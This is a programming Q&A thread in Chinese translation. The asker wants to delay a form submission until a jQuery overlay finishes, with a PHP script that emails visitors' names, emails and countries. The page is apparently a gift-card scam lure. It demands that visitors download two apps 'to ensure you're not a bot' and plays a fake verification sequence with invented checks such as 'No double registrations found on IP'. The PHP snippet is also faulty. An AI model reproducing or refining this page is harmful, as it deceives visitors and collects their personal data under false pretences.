我试图为我的代码找到JS和ajax解决方案,但它们都不起作用 我想在用户点击提交按钮然后模态加载并且仅在模态加载之后,发送表格&将值提交给电子邮件。 我尝试了很多次,但是我不能成功,所以如果有人能帮我解决这个问题真的很好。 这是我的代码。
$(document).ready(function() {
$('#questionWrapper .question').first().show(); //show first questionblock
$("#questionWrapper .answer").click(function(event) {
event.preventDefault();
$(this).parent('.question').hide();
if ($(this).parent().next('.question').length) {
$(this).parent().next('.question').fadeIn();
} else {
startCheck();
}
});
});
function startCheck() {
var overlay = $('.overlay-checker'),
points = $('.overlay-checker-points > li');
// Initially, hide all the points so we can show them one by one
points.hide();
// Fade in the overlay
overlay.fadeIn();
// Loop points.lenght times (so through every point)
for (i = 0; i < points.length; i++) {
setTimeout(function() {
$('.overlay-checker-points').find(':hidden').first().fadeIn();
}, 1500 * (i + 1));
}
// After all items have been faded in, redirect
setTimeout(function() {
document.getElementById('overlay-checker').click();
}, 1500 * points.length + 4000);
}
function toggleDiv(target) {
$(target).toggle();
}
<?php
/*
From http://www.html-form-guide.com
This is the simplest emailer one can have in PHP.
If this does not work, then the PHP email configuration is bad!
*/
$msg="";
if(isset($_POST['submit']))
{
/* ****Important!****
replace name@your-web-site.com below
with an email address that belongs to
the website where the script is uploaded.
For example, if you are uploading this script to
www.my-web-site.com, then an email like
form@my-web-site.com is good.
*/
$lname=$_POST['name'];
$email=$_POST['email'];
$country=$_POST['country'];
$from_add = "useremail";
$to_add = "myemail@gmail.com"; //<-- put your yahoo/gmail email address here
$subject = "Form User Submmitted";
$message = "<html><head>
<title>Message</title>
</head>
<body>
<p><strong>From:</strong> $name</p>
<p><strong>Email:</strong> $email</p>
<p><strong>Country:</strong> $country</p>
</body>
</html>";
mail($to_add, $subject, $message, $headers);
$headers = "From: $from_add \r\n";
$headers .= "Reply-To: $from_add \r\n";
$headers .= "Return-Path: $from_add\r\n";
$headers .= "X-Mailer: PHP \r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
$headers .= "MIME-Version: 1.0\r\n";
if(mail($to_add,$subject,$message,$headers))
{
header('Location: google.com');
}
else
{
header('Location: google.uk');
}
}
?>
<div id="form-div">
<form class="form" method="post" id="form1" action=refreshform.php>
<p class="name">
<input name="name" type="text" class="validate[required,custom[onlyLetter],length[0,100]] feedback-input" placeholder="Name" id="name" />
</p>
<p class="email">
<input name="email" type="text" class="validate[required,custom[email]] feedback-input" id="email" placeholder="Email" />
</p>
<p class="country">
<input name="country" type="text" class="validate[required,custom[onlyLetter],length[0,100]] feedback-input" placeholder="Country" id="country" />
</p>
<p class="apps">to ensure your not a bot <strong>you must download 2 FREE Apps</strong> and only after the GiftCard will be Sent.</p>
<div class="answer">
<input class="submit" name="submit" type="submit" value="Check & Verify" id="blue-button"/>
<div class="ease"></div>
</div>
</form>
</center>
</div>
</div> <!--End of questionWrapper .alpha60-->
</div> <!--End of wrapper-->
<div class="overlay-checker">
<div class="centerIt">Checking your answers...
<ul class="overlay-checker-points centerIt">
<li><img src="img/check.png"> No double registrations found on IP.</li>
<li><img src="img/check.png"> <span style="color: red; font-size: 28px;">2 </span>Card is available.</li>
<li><img src="img/check.png"> Congratulations. Please proceed to App Download Verification...</li>
</ul>
<div class="terms">Additional T&C may apply.</div>
</div>
</div>
答案 0 :(得分:0)
您可以在以下示例中尝试 关闭 ,以便了解如何解决此问题。
1)
for (var i = 0; i <= 3; i++)
{
setTimeout(function() { console.log(i) }, 1000);
}
结果是4,但这应该是0 1 2 3
2)现在只需要一个闭包
for (var i = 0; i <= 3; i++)
{
(function(index){
setTimeout(function() { console.log(index) }, 1000);
})(i);
}
然后结果为0 1 2 3
谢谢
答案 1 :(得分:0)
你可以让你的提交按钮调用JavaScript方法来打开你的模态,然后调用$(&#34; form&#34;)。submit() https://api.jquery.com/submit/
答案 2 :(得分:0)
我也尝试了这个并且它不起作用
function startCheck() {
var overlay = $('.overlay-checker'),
points = $('.overlay-checker-points > li');
// Initially, hide all the points so we can show them one by one
points.hide();
// Fade in the overlay
overlay.fadeIn();
// Loop points.lenght times (so through every point)
for (i = 0; i < points.length; i++) {
setTimeout(function () {
$('.overlay-checker-points').find(':hidden').first().fadeIn();
}, 1500 * (i + 1));
}
// After all items have been faded in, redirect
setTimeout(function () {
$('.overlay-checker').fadeOut('500', function() {
$("form1").submit();
});
}, 1500 * points.length + 2000);
}
&#13;